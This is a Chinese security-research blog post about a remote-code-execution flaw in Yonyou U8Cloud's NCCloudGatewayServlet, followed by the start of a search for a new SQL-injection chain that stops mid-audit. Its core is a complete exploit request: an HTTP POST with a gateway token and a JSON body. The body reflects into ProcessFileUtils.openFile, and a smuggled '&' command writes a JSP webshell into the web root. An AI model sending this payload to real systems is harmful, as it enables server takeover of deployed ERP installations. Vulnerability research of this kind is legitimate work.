基于U8Cloud NCCloudGatewayServlet RCE漏洞发掘新利用链：全版本通杀SQL注入

NCCloudGatewayServlet RCE回顾

基于通报的分析

直接搜索NCCloudGatewayServlet接口，定位到nccloudgw.upm

跟踪ServletForGW，顶部是一堆私有属性

查看结构：

发现只有doAction方法可以接收HTTP参数，猜测此方法为入口，继续往下看：

从HTTP请求头部获取一个gatewaytoken请求头使用checkGateWayToken进行校验，跟进此方法

此处的nctoken是传输过程中的明文token，其处理流程是对后续的nccloud.gateway.nctoken进行encode和decode加解密操作。

查看nccloud.gateway.nctoken：

发现是加密过后的，那就跟进一下上一步的encode、decode，跟踪到Encode.class

应该是AES，密钥也有

到此token获取成功，回到ServletForGW继续审计

创建一个json对象后从request里获取请求数据。

发现调用callNCService()，所以继续往下看

反射

但是反射的类必须是注册在EJB容器中的服务。

这个对本漏洞无影响，对自己挖链子有影响，后面再说

基于补丁的分析

第一个补丁：

黑名单封了两个类，掩耳盗铃有点

IActionInvokeService：

跟进实现：

跟进exec:

ProcessFileUtils：

到此结束

如何构造POC以及为什么

需要注意的是

此处argType为什么是Object

实战利用方式

POST /servlet/NCCloudGatewayServlet HTTP/1.1
Host: 192.168.131.130:8088
gatewaytoken: TJ6RT-3FVCB-DPYP8-XF7QM-96FV3
Content-Type: application/json
(一行空行)
{
  "serviceInfo": {
    "serviceClassName": "com.ufida.zior.console.IActionInvokeService",
    "serviceMethodName": "exec",
    "serviceMethodArgInfo": [
      {
        "argType": { "body": "java.lang.String" },
        "argValue": { "body": "nc.bs.pub.util.ProcessFileUtils" },
        "agg": false,
        "isArray": false,
        "isPrimitive": false
      },
      {
        "argType": { "body": "java.lang.String" },
        "argValue": { "body": "openFile" },
        "agg": false,
        "isArray": false,
        "isPrimitive": false
      },
      {
        "argType": { "body": "java.lang.Object" },
        "argValue": { "body": "dummy.txt \"& echo (要求不能出现双引号的jsp马子并且能够自己输出到缓冲区回显，让AI写一个得了)) > C:\\U8CloudCERP5.1\\U8CERP\\webapps\\u8c_web\\shell2.jsp\"" },
        "agg": false,
        "isArray": false,
        "isPrimitive": false
      }
    ]
  }
}

总结

整体思路：

可以看到这条链子简单来说就是callNCService->IActionInvokeService->ProcessFileUtils(任意可控参数功能点)

看了朋友中的文章说可以换掉后边的功能点去实现各种漏洞打法，试了下确实如此，但是这种思路在打完官方这个极其敷衍的补丁之后也会被拦截

所以思考了一下，既然第三步的功能点可以替换掉，那么第二步的反射点是不是也可以替换掉？

基于此便有了下文

NCCloudGatewayServlet SQL注入新链挖掘

审计过程

上文已经说过了，因为callNCService()反射的类必须是注册在EJB容器中的服务，所以不能随便找一个可控参数的反射类就拿过来充数。在挖掘过程中踩了不少坑：

最开始找到PfUtilTools，结果这个类不能被NCLocator.getInstance().lookup找到，所以本想以此为跳板，只要找到一个调用runClass且能被NCLocator.getInstance().lookup找到的类，就相当于把上文的RCE链子换了一下抄过来。可惜所有涉及到PfUtilTools.runClass的用法居然都是反射硬编码。
喷一下U8开发，你都硬编码了还要反射干集贸。